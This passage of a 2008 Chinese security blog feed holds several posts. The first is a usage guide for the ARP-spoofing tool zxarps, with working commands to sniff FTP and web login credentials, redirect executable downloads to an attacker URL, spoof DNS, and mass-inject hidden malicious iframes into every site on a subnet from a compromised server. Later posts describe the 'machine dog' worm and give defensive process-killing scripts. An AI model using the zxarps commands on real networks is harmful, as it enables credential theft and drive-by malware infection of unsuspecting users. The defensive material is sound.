&#8216;,&#8217;隔开关键字,多个条件&#8217;&#124;'隔开
所有带+前缀的关键字都出现的包则写入文件
带-前缀的关键字出现的包不写入文件
带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)
-save_a [filename] 将捕捉到的数据写入文件 ACSII模式
-save_h [filename] HEX模式
-hacksite [...]]]></description>
			<content:encoded><![CDATA[<p>说明：需要winPcap 基于arp欺骗，<br />
具体功能看下面的使用说明</p>
<p><font color="#ff0000">基于<strong>ARP欺骗</strong>的东东，可<strong>网页插马</strong>，<strong>DNS欺骗</strong>，<strong>自定义关键字嗅探</strong>等</font></p>
<p><strong>网络地址信息：</strong></p>
<blockquote><p>0. Realtek RTL8139</p>
<p>IP Address. . . . . : 192.168.1.101</p>
<p>Physical Address. . : 00-11-D8-6B-5E-19</p>
<p>Default Gateway . . : 192.168.1.1</p>
<p>1. WAN (PPP/SLIP) Interface</p>
<p>IP Address. . . . . : xx.xx.xx.xx</p>
<p>Physical Address. . : 00-52-00-00-00-00</p>
<p>Default Gateway . . : xx.xx.xx.xx</p></blockquote>
<p><strong>options（</strong><strong>参数说明</strong><strong>）:</strong></p>
<blockquote><p>-idx [index] 网卡索引号</p>
<p>-ip [ip] 欺骗的IP,用&#8217;-'指定范围,&#8217;,'隔开</p>
<p>-sethost [ip] 默认是网关,可以指定别的IP</p>
<p>-port [port] 关注的端口,用&#8217;-'指定范围,&#8217;,'隔开,没指定默认关注所有端口</p>
<p>-reset 恢复目标机的ARP表</p>
<p>-hostname 探测主机时获取主机名信息</p>
<p>-logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,</p>
<p>&#8216;,&#8217;隔开关键字,多个条件&#8217;|'隔开</p>
<p>所有带+前缀的关键字都出现的包则写入文件</p>
<p>带-前缀的关键字出现的包不写入文件</p>
<p>带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)</p>
<p>-save_a [filename] 将捕捉到的数据写入文件 ACSII模式</p>
<p>-save_h [filename] HEX模式</p>
<p>-hacksite [ip] 指定要插入代码的站点域名或IP,</p>
<p>多个可用&#8217;,'隔开,没指定则影响所有站点</p>
<p>-insert [html code]指定要插入html代码</p>
<p>-postfix [string] 关注的后缀名，只关注HTTP/1.1 302</p>
<p>-hackURL [url] 发现关注的后缀名后修改URL到新的URL</p>
<p>-filename [name] 新URL上有效的资源文件名</p>
<p>-hackdns [string] DNS欺骗，只修改UDP的报文,多个可用&#8217;,'隔开</p>
<p>格式: 域名|IP，www.aa.com|222.22.2.2,www.bb.com|1.1.1.1</p>
<p>-Interval [ms] 定时欺骗的时间间隔，默认是3秒</p>
<p>-spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者</p>
<p>-speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB</p></blockquote>
<p><strong>例子代码:</strong></p>
<p><strong>嗅探指定的IP段中端口80的数据，并以HEX模式写入文件</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log</p>
<p><strong>FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter &#8220;_USER ,_PASS&#8221; -save_a sniff.log</p>
<p><strong>HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter &#8220;+POST ,+user,+pass&#8221; -save_a sniff.log</p>
<p><strong>用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter &#8220;+POST ,+user,+pass|_USER ,_PASS&#8221; -save_a sniff.log</p>
<p><strong>如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix &#8220;.exe,.rar,.zip&#8221; -hackurl http://xx.net/ -filename test.exe</p>
<p><strong>指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun</strong></p>
<p>zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert &#8220;just for fun</p>
<p><strong><font color="#ff0000">arp欺骗批量挂马</font> </strong><br />
zxarps.exe  （ARP欺骗tool）</p>
<blockquote><p><font color="#0000ff">3389 肉鸡一台最好是服务器 或者内网机器命令： zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert &#8220;&lt;iframe src=&#8217;xx&#8217; width=0 height=0&gt;&#8221;</font><br />
<font color="#0000ff">这里网马地址就假设为  http://www.baidu.com/ </font><br />
<font color="#0000ff">那么命令就是zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert &#8220;&lt;iframe src=&#8217;http://www.baidu.com/&#8217; width=0 height=0&gt;&#8221;</font><br />
<font color="#0000ff">接着上 3389 服务器 服务器必须安装 winPcap.exe 工具都有打包然后就执行</font><br />
<font color="#0000ff">zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert &#8220;&lt;iframe src=&#8217;http://www.baidu.com/&#8217; width=0 height=0&gt;&#8221; </font><br />
<font color="#0000ff">IP 自己改看看效果 ！！！！！  绝对好用 自己试就知道了  这样挂马可是同网段好几个服务器的站基本都挂上你的马了只要别人访问这IP段中的某一个服务器上的站那么就自动欺骗插入我们的网马代码 </font></p></blockquote>
<p>防御办法：若为win系统推荐使用360arp防火墙</p>
<p>通用办法：对客户机和网关做双向ip-mac地址绑定，最好使用交换机替代集线器。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/search-engine/show-diff-between-crawlers-and-guests-php-code-1787/" rel="bookmark" title="Permanent Link: 向访客和爬虫显示不同内容的PHP代码">向访客和爬虫显示不同内容的PHP代码</a></li><li><a href="http://clin003.com/ideas/hainei-show-435/" rel="bookmark" title="Permanent Link: 初体验海内网：海内可以注册啦?">初体验海内网：海内可以注册啦?</a></li><li><a href="http://clin003.com/wiki/mediawiki-short-url-1103/" rel="bookmark" title="Permanent Link: mediawiki页面伪静态配置调试">mediawiki页面伪静态配置调试</a></li><li><a href="http://clin003.com/ideas/discuz-adsense-show-1789/" rel="bookmark" title="Permanent Link: Discuz 论坛中的 AdSense 显示问题终于解决啦">Discuz 论坛中的 AdSense 显示问题终于解决啦</a></li><li><a href="http://clin003.com/wp-use/wordpress-show-tags-388/" rel="bookmark" title="Permanent Link: wordpress文章post中显示tags的办法">wordpress文章post中显示tags的办法</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/zxarps-show-512/" >http://clin003.com/safe/zxarps-show-512/</a> <br /> <a href="http://clin003.com/safe/zxarps-show-512/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/zxarps-show-512/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>手机嗅探扫描，窃&#8230;</title>
		<link>http://clin003.com/safe/phone-sniffer-484/</link>
		<comments>http://clin003.com/safe/phone-sniffer-484/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 03:45:12 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[Phone sniffer]]></category>
		<category><![CDATA[嗅探]]></category>
		<category><![CDATA[手机]]></category>

		<guid isPermaLink="false">http://clin003.com/safe/phone-sniffer-484.shtml</guid>
		<description><![CDATA[先是看到国内的gsm服务商并没有加密数据通讯，又看到手机短信被嗅探窃看的截图（不是我抓得厄）
中国的GSM到底是不是加密的：http://hi.baidu.com/tombkeeper/blog/item/534571d9edcef22811df9bd2.html
手机打电话是可以窃听的?短信也同样？http://hi.baidu.com/tombkeeper/blog/item/49ac4043a14b15159213c636.html

人家移动老总不是说过嘛：“你是谁，你在哪里，我们都知道”。
。。。
Related posts:看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马Testing phone postE2手机病毒?用telnet检测网址返回的头部信息状态码Splinter(Gtalk)的免费网络电话Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/phone-sniffer-484/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>先是看到国内的gsm服务商并没有加密数据通讯，又看到手机短信被嗅探窃看的截图（不是我抓得厄）</p>
<p>中国的GSM到底是不是加密的：http://hi.baidu.com/tombkeeper/blog/item/534571d9edcef22811df9bd2.html</p>
<p>手机打电话是可以窃听的?短信也同样？http://hi.baidu.com/tombkeeper/blog/item/49ac4043a14b15159213c636.html</p>
<p><img src="http://clin003.com/wp-content/uploads/2008/03/sms.jpg" alt="手机打电话是可以窃听的?短信也同样？重要的事情，面谈最可靠。" /></p>
<p>人家移动老总不是说过嘛：“你是谁，你在哪里，我们都知道”。</p>
<p>。。。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/technical-analysis/zhang-yi-limitations-of-using-a-mobile-phone-to-set-aside-pc-trojan-defense-authorization-546/" rel="bookmark" title="Permanent Link: 看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马">看到技术文章很稀奇——张翼：跳出PC局限用手机授权防御木马</a></li><li><a href="http://clin003.com/about/testing-phone-post-183/" rel="bookmark" title="Permanent Link: Testing phone post">Testing phone post</a></li><li><a href="http://clin003.com/exploits/e2-phone-menu-215/" rel="bookmark" title="Permanent Link: E2手机病毒?">E2手机病毒?</a></li><li><a href="http://clin003.com/servers/detection-using-telnet-to-return-at-the-head-of-the-state-code-information-450/" rel="bookmark" title="Permanent Link: 用telnet检测网址返回的头部信息状态码">用telnet检测网址返回的头部信息状态码</a></li><li><a href="http://clin003.com/suggested-contents/service-splinter-net-303/" rel="bookmark" title="Permanent Link: Splinter(Gtalk)的免费网络电话">Splinter(Gtalk)的免费网络电话</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/phone-sniffer-484/" >http://clin003.com/safe/phone-sniffer-484/</a> <br /> <a href="http://clin003.com/safe/phone-sniffer-484/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/phone-sniffer-484/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>usrinit.exe</title>
		<link>http://clin003.com/safe/usrinit-370/</link>
		<comments>http://clin003.com/safe/usrinit-370/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 13:00:09 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒学习]]></category>
		<category><![CDATA[网吧经验谈]]></category>
		<category><![CDATA[explorer]]></category>
		<category><![CDATA[userinit.exe]]></category>
		<category><![CDATA[usrinit.exe]]></category>
		<category><![CDATA[机器狗]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/safe/usrinit-370.shtml</guid>
		<description><![CDATA[usrinit.exe
 应该是最近闹得很火的机器狗病毒产生的假冒系统文件.可以直接中止,感染正常的系统文件userinit.exe不修改时间和大小只改文件内容。
usrinit.exe档案
  			              			W32.Kedebe.E@mm的一个组件
病毒名称：W32.Kedebe.E@mm
病毒类型：蠕虫
发现日期：2005年7月12日
危害程度：蠕虫复制自身为系统文件夹下的[一个不可打印字符][文件名]，不可打印字符表示为0xA0，在不同操作系统下的显示不同，文件名为如下之一： nbtstat.exe、usrinit.exe、user.exe、winhlp32.exe、telnet.exe、locator.exe、 recover.exe、logman.exe、dlhost.exe、logonui.exe、winspol.exe、services.exe、 svchost.exe、lsas.exe、rundl32.exe、regedt32.exe、winlogon.exe、wuauclt.exe。在 记事本中打开临时文件夹下的[初始文件名].txt文件并显示如下文本：This document cannot be run under older versions. Please install latest version of Notepad. [随机文本]。从带有特定扩展名的文件中收集邮件地址，向收集到的地址发送自身副本。。试图终止带有某些文本的进程并删除相关文件以降低安全设置。向 hosts文件增加条目以阻止对一些与安全相关网站的访问。删除一些安全程序的文件！
阻止usrinit.exe
可以使用机器狗病毒的专杀工具（目前还没发现好用的专杀工具）建议是用免疫工具（超级巡警有个机器狗免疫程序），然后可以建立个开机运行脚本检查进程中是否有usrinit.exe进程，如果有就立即中止。
脚本类似：
wmic process where name=”userinit.exe” call  terminate
wmic process where name=”usrinit.exe” call  terminate
该代码的的意思是：当发现进程里有userinit.exe时，即关闭；当发现进程里有usrinit.exe时，也关闭。因为批处理在winlogon后运行，所以病毒刚启动，就被杀掉了。这样也就失去了下载其它病毒的机会。不过，缺点是它只运行一次。这两代批处理的基础上，加入了每秒检查进程，一发现即终止的vbs脚本：
do while(1)
strComputer = “.”
Set objWMIService =  [...]]]></description>
			<content:encoded><![CDATA[<p class="hdwiki_tmml"><font color="#008000"><strong>usrinit.exe</strong></font></p>
<p><font color="#008000"> 应该是最近闹得很火的机器狗病毒产生的假冒系统文件.可以直接中止,感染正常的系统文件userinit.exe不修改时间和大小只改文件内容。</font></p>
<p class="hdwiki_tmml"><font color="#ff6600"><strong>usrinit.exe档案</strong></font></p>
<p><font color="#ff6600">  			              			W32.Kedebe.E@mm的一个组件</p>
<p>病毒名称：W32.Kedebe.E@mm<br />
病毒类型：蠕虫</p>
<p>发现日期：2005年7月12日</p>
<p>危害程度：蠕虫复制自身为系统文件夹下的[一个不可打印字符][文件名]，不可打印字符表示为0xA0，在不同操作系统下的显示不同，文件名为如下之一： nbtstat.exe、usrinit.exe、user.exe、winhlp32.exe、telnet.exe、locator.exe、 recover.exe、logman.exe、dlhost.exe、logonui.exe、winspol.exe、services.exe、 svchost.exe、lsas.exe、rundl32.exe、regedt32.exe、winlogon.exe、wuauclt.exe。在 记事本中打开临时文件夹下的[初始文件名].txt文件并显示如下文本：This document cannot be run under older versions. Please install latest version of Notepad. [随机文本]。从带有特定扩展名的文件中收集邮件地址，向收集到的地址发送自身副本。。试图终止带有某些文本的进程并删除相关文件以降低安全设置。向 hosts文件增加条目以阻止对一些与安全相关网站的访问。删除一些安全程序的文件！</font></p>
<p class="hdwiki_tmml"><font color="#ff0000"><strong>阻止usrinit.exe</strong></font></p>
<p><font color="#ff0000"><strong>可以使用机器狗病毒的专杀工具（目前还没发现好用的专杀工具）建议是用免疫工具（超级巡警有个机器狗免疫程序），然后可以建立个开机运行脚本检查进程中是否有usrinit.exe进程，如果有就立即中止。</strong></font><br />
脚本类似：</p>
<p><font color="#0000ff">wmic process where name=”userinit.exe” call  terminate<br />
wmic process where name=”usrinit.exe” call  terminate</font><br />
<font color="#ff6600">该代码的的意思是：当发现进程里有userinit.exe时，即关闭；当发现进程里有usrinit.exe时，也关闭。因为批处理在winlogon后运行，所以病毒刚启动，就被杀掉了。这样也就失去了下载其它病毒的机会。</font>不过，缺点是它只运行一次。这两代批处理的基础上，加入了每秒检查进程，一发现即终止的vbs脚本：</p>
<p><font color="#0000ff">do while(1)<br />
strComputer = “.”<br />
Set objWMIService =  GetObject(”winmgmts:” _<br />
&amp; “{impersonationLevel=impersonate}!\\” &amp;  strComputer &amp; “\root\cimv2″)</font></p>
<p><font color="#0000ff">Set colProcessList1 = objWMIService.ExecQuery _<br />
(”Select * from  Win32_Process Where Name = ‘userinit.exe’”)<br />
For Each objProcess1 in  colProcessList1<br />
objProcess1.Terminate()<br />
Next</font></p>
<p><font color="#0000ff">Set colProcessList2 = objWMIService.ExecQuery _<br />
(”Select * from  Win32_Process Where Name = ‘usrinit.exe’”)<br />
For Each objProcess2 in  colProcessList2<br />
objProcess2.Terminate()<br />
Next</font></p>
<p><font color="#0000ff">Set colProcessList3 = objWMIService.ExecQuery _<br />
(”Select * from  Win32_Process Where Name = ‘conime0.exe’”)<br />
For Each objProcess3 in  colProcessList3<br />
objProcess3.Terminate()<br />
Next</font></p>
<p><font color="#0000ff">Wscript.Sleep(1000)<br />
Loop</font><br />
<font color="#ff6600">这段vbs脚本的机制和以上两段代码有异曲同工之妙。</font>不过，用了无限循环语句，实现了对进程的动态监控，使得被监控进程无法运行。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/safe/immune-dog-363/" rel="bookmark" title="Permanent Link: 免疫机器狗">免疫机器狗</a></li><li><a href="http://clin003.com/netbar/arp-deception-and-the-rogue-virus-immune-simple-batch-scripts-bat-422/" rel="bookmark" title="Permanent Link: arp欺骗和机器狗病毒简单免疫批处理脚本(bat)">arp欺骗和机器狗病毒简单免疫批处理脚本(bat)</a></li><li><a href="http://clin003.com/netbar/trojan-downloader-win32-rodog-gen-360/" rel="bookmark" title="Permanent Link: 机器狗">机器狗</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/usrinit-370/" >http://clin003.com/safe/usrinit-370/</a> <br /> <a href="http://clin003.com/safe/usrinit-370/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/usrinit-370/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>杀毒,作系统,刻盘,头都大啦</title>
		<link>http://clin003.com/safe/antivirus-system-ghost-369/</link>
		<comments>http://clin003.com/safe/antivirus-system-ghost-369/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 12:26:18 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[今日一点]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒学习]]></category>
		<category><![CDATA[网吧经验谈]]></category>
		<category><![CDATA[Arp]]></category>
		<category><![CDATA[arp攻击]]></category>
		<category><![CDATA[linkinfo.dll]]></category>
		<category><![CDATA[userinit.exe]]></category>
		<category><![CDATA[usrinit.exe]]></category>
		<category><![CDATA[机器狗]]></category>
		<category><![CDATA[母盘制作]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/ideas/antivirus-system-ghost-369.shtml</guid>
		<description><![CDATA[机器狗,应该是这个病毒吧c:\windows\linkinfo.dll文件，一直杀不掉，用超级巡警的机器狗免疫程序也貌似没用。360搞得死去活来，一直报阿报。
超级巡警干脆让系统死机（关于司机原因目前还不清楚是不是因为超级巡警，由于装拉超级巡警的机子无一例外的死机，到现在还没时间去仔细研究死因。）
这次作的新系统可能没有格盘的原因或这是我激活其他分区的病毒感染程序，刚做完就带病毒（系统看起来没啥问题），这次使用开机运行脚本驻留内存不断循环的查杀userinit.exe和usrinit.exe进程，还有开机就吧网络连接断开（因为linkinfo.dll是个下载者）或者开着360先暂时拦截着他下在其他更多的木马，然后用360修复系统漏洞，最好大全，欧一口气打啦112个漏洞，其中两个是在带有网络连接的安全模式下打的。
然后从下载好压缩包中解压微点主动防御软件装上然后升级重起，然后配置微点，由于批量的电脑等着用这个系统就最好用静默方式处理恶意程序和发现的病毒，并且处在内网，所以绑定拉网关防止arp攻击。
添加信任程序（需要提醒的是对于小的程序并且有压缩包的绿色程序建议重新解压下覆盖已经有的程序，因为这群病毒可能已经感染拉你的可执行程序exe文件）。
如果你不用微点，那么建议你无论如何也要做使用专业的杀软做一次全盘扫描（专业对于360和超级巡警应该不能考虑进来的说！！个人见解他们只是杀毒的辅助工具而已）。
然后该干啥干啥，偶接下来做的是优化系统，根据需要配置系统设置。
然后重起备份系统分区，刻盘测试。。
关于机子死因：

病毒和杀毒软件谁也打不多谁最终系统牺牲。
arp攻击，防arp的软件(360arp防火墙和超级巡警防arp模块)低档不了，这个可能性比较小的说，因为死机期间360发现的arp攻击和超级巡警发现的arp攻击都不多，差不多一个小时就会死掉（鼠标不动,键盘无响应）。
受到网络拒绝服务攻击（感觉这个可能性比较大的说，可以和第一个原因相提并论），所以这次打补丁就特意先打上能够引起拒绝服务攻击的几个不定，具体的漏洞编号不记得啦，大概2007年11月有个tcp协议的漏洞什么的可以造成拒绝服务攻击。
还有原因么想不起来啦，应用程序在受到病毒前一直运行正常没发现过冲突。
硬件上也没发现啥冲突。
死机系统环境：
xp2电脑公司ghost版
克隆卡一个主机三个用户同时用
512和1g的内存
p4 双核3.0cpu和酷睿双核1.6的cpu
80G硬盘
over
最后说句:那病毒如果不把系统搞的死掉我还是会给他留个生存的空间的.前提是保证系统正常稳定的运行被使用.
Related posts:病毒分析技术课程PDF版本今天我让U盘只读不写！安装Ghost系统出现 &#8220;unist specified don&#8217;t exist. shsucdx can&#8217;t install&#8221; 解决从命令行查杀病毒『金山毒霸』杀毒软件引擎技术之窥探Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/antivirus-system-ghost-369/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p><font color="#0000ff">机器狗,应该是这个病毒吧<strong>c:\windows\linkinfo.dll</strong>文件，一直杀不掉，用超级巡警的机器狗免疫程序也貌似没用。360搞得死去活来，一直报阿报。</font></p>
<p><font color="#0000ff">超级巡警干脆让系统死机（关于司机原因目前还不清楚是不是因为超级巡警，由于装拉超级巡警的机子无一例外的死机，到现在还没时间去仔细研究死因。）</font></p>
<p><font color="#0000ff">这次作的新系统可能没有格盘的原因或这是我激活其他分区的病毒感染程序，刚做完就带病毒（系统看起来没啥问题），这次使用开机运行脚本驻留内存不断循环的查杀userinit.exe和usrinit.exe进程，还有开机就吧网络连接断开（因为linkinfo.dll是个下载者）或者开着360先暂时拦截着他下在其他更多的木马，然后用360修复系统漏洞，最好大全，欧一口气打啦112个漏洞，其中两个是在带有网络连接的安全模式下打的。</font></p>
<p><font color="#0000ff">然后从下载好压缩包中解压微点主动防御软件装上然后升级重起，然后配置微点，由于批量的电脑等着用这个系统就最好用静默方式处理恶意程序和发现的病毒，并且处在内网，所以绑定拉网关防止arp攻击。</font></p>
<p><font color="#0000ff">添加信任程序（需要提醒的是对于小的程序并且有压缩包的绿色程序建议重新解压下覆盖已经有的程序，因为这群病毒可能已经感染拉你的可执行程序exe文件）。</font></p>
<p><font color="#0000ff">如果你不用微点，那么建议你无论如何也要做使用专业的杀软做一次全盘扫描（专业对于360和超级巡警应该不能考虑进来的说！！个人见解他们只是杀毒的辅助工具而已）。</font></p>
<p><font color="#0000ff">然后该干啥干啥，偶接下来做的是优化系统，根据需要配置系统设置。</font></p>
<p><font color="#0000ff">然后重起备份系统分区，刻盘测试。。</font></p>
<p><font color="#ff0000"><strong>关于机子死因：</strong></font><br />
<span id="more-369"></span><br />
<font color="#ff0000">病毒和杀毒软件谁也打不多谁最终系统牺牲。</font></p>
<p><font color="#ff0000">arp攻击，防arp的软件(360arp防火墙和超级巡警防arp模块)低档不了，这个可能性比较小的说，因为死机期间360发现的arp攻击和超级巡警发现的arp攻击都不多，差不多一个小时就会死掉（鼠标不动,键盘无响应）。</font></p>
<p><font color="#ff0000">受到网络拒绝服务攻击（感觉这个可能性比较大的说，可以和第一个原因相提并论），所以这次打补丁就特意先打上能够引起拒绝服务攻击的几个不定，具体的漏洞编号不记得啦，大概2007年11月有个tcp协议的漏洞什么的可以造成拒绝服务攻击。</font></p>
<p><font color="#ff0000">还有原因么想不起来啦，应用程序在受到病毒前一直运行正常没发现过冲突。</font></p>
<p><font color="#ff0000">硬件上也没发现啥冲突。</font></p>
<p><font color="#ff0000"><strong>死机系统环境：</strong></font></p>
<p><font color="#ff0000">xp2电脑公司ghost版</font></p>
<p><font color="#ff0000">克隆卡一个主机三个用户同时用</font></p>
<p><font color="#ff0000">512和1g的内存</font></p>
<p><font color="#ff0000">p4 双核3.0cpu和酷睿双核1.6的cpu</font></p>
<p><font color="#ff0000">80G硬盘</font></p>
<p><font color="#ff0000">over</font></p>
<p><font color="#ff0000">最后说句:那病毒如果不把系统搞的死掉我还是会给他留个生存的空间的.前提是保证系统正常稳定的运行被使用.</font></p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/suggested-contents/malware-analysis-and-antivirus-technologies-1113/" rel="bookmark" title="Permanent Link: 病毒分析技术课程PDF版本">病毒分析技术课程PDF版本</a></li><li><a href="http://clin003.com/netbar/hklm-system-currentcontrolset-control-storagedevicepolicies-writeprotect-1865/" rel="bookmark" title="Permanent Link: 今天我让U盘只读不写！">今天我让U盘只读不写！</a></li><li><a href="http://clin003.com/netbar/ghost-unist-specified-dont-exist-shsucdx-cant-install-1862/" rel="bookmark" title="Permanent Link: 安装Ghost系统出现 &#8220;unist specified don&#8217;t exist. shsucdx can&#8217;t install&#8221; 解决">安装Ghost系统出现 &#8220;unist specified don&#8217;t exist. shsucdx can&#8217;t install&#8221; 解决</a></li><li><a href="http://clin003.com/safe/from-the-command-line-killing-virus-by-kingsoft-antivirus-600/" rel="bookmark" title="Permanent Link: 从命令行查杀病毒『金山毒霸』">从命令行查杀病毒『金山毒霸』</a></li><li><a href="http://clin003.com/safe/antivirus-software-engine-technology-to-snoop-102/" rel="bookmark" title="Permanent Link: 杀毒软件引擎技术之窥探">杀毒软件引擎技术之窥探</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/antivirus-system-ghost-369/" >http://clin003.com/safe/antivirus-system-ghost-369/</a> <br /> <a href="http://clin003.com/safe/antivirus-system-ghost-369/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/antivirus-system-ghost-369/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>免疫机器狗</title>
		<link>http://clin003.com/safe/immune-dog-363/</link>
		<comments>http://clin003.com/safe/immune-dog-363/#comments</comments>
		<pubDate>Sat, 12 Jan 2008 04:34:20 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒学习]]></category>
		<category><![CDATA[网吧经验谈]]></category>
		<category><![CDATA[免疫]]></category>
		<category><![CDATA[机器狗]]></category>
		<category><![CDATA[病毒]]></category>
		<category><![CDATA[网吧]]></category>
		<category><![CDATA[补丁]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/safe/immune-dog-363.shtml</guid>
		<description><![CDATA[增加系统**
当机器狗刚出现时，就有人写出了相应的免疫批处理代码，如下：
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
按说，这段代码对于最早的机器狗病毒（10月17日之前）是管用的。机器狗病毒早期的确生成了pcihdd.sys文件.而且还修改了 userinit.exe文件。基于这两点出发，建立一个pcihdd.sys的目录，以及设置userinit.exe的访问权限是管用的。
然而，病毒作者很快发现了这一点。他迅速的在后期的版本中，也加入了批处理的内容。即对以上批处理作了个反向工程，解除设置的权限，删除免疫目录，还是修改userinit.exe文件，达到加载其它病毒木马的目的。
后来，为了防止目录被删掉，有些强人更是出怪招，在pcihdd.sys目录下再建个怪异的目录名，形如&#8221;ty&#8230;/&#8221;的目录。这个目录用批处理是可以建立的，但是不可删除。同样，建了这个目录，pcihdd.sys目录也就不可删除了。
在后期变种中，病毒不再使用pcihdd.sys的这文件为驱动，改成了其他的文件名，比如笔者今天发现的变种，驱动名就是comint32.sys..
这样子看来，基于文件名的防疫方式宣告失败。有人还在不停的建那些怪异目录，以图防疫机器狗病毒。可这样子下去，你的系统里为增添多少**目录？你最后，你自己也没法删除这些**，甚至不得不格式化硬盘。
封域名，封IP
早期机器狗病毒，可以通过简单的反汇编工具，找到相应的下载病毒的网址。后期的机器狗病毒变种，也可通过查看中毒机器的IE临时文件找到下载病毒的网址。
机器狗病毒被各种检测方式很快被找到了，其ip地址和域名也能被发现。于是，在服务器或路由器里封掉这些域名或IP，的确可以有效防治它。然而，恶梦不会因此而结束。据笔者自身封的IP和域名，目前加起来已多达三十多个。还不包括每天都要新的域名或IP被以各种方式发现出来。
ROS里脚本在无限的加长些，路由器里的列表也就无限的增长着。这样的日子，我们看不到尽头在哪儿。
两行批处理，问题看是搞定，但也治标不治本
随着对机器狗病毒研究的深入，大家都一致发现了问题的关键在于userinit.exe和usrinit.exe（后期变种）文件。基于这点出发，可以使用以下两个批处理搞定问题：
wmic process where name=&#8221;userinit.exe&#8221; call terminate
wmic process where name=&#8221;usrinit.exe&#8221; call terminate
这是批处理高手写的，果然非同反响。该代码的的意思是：当发现进程里有userinit.exe时，即关闭；当发现进程里有usrinit.exe时，也关闭。因为批处理在winlogon后运行，所以病毒刚启动，就被杀掉了。这样也就失去了下载其它病毒的机会。不过，缺点是它只运行一次。这两代批处理的基础上，加入了每秒检查进程，一发现即终止的vbs脚本：
do while(1)
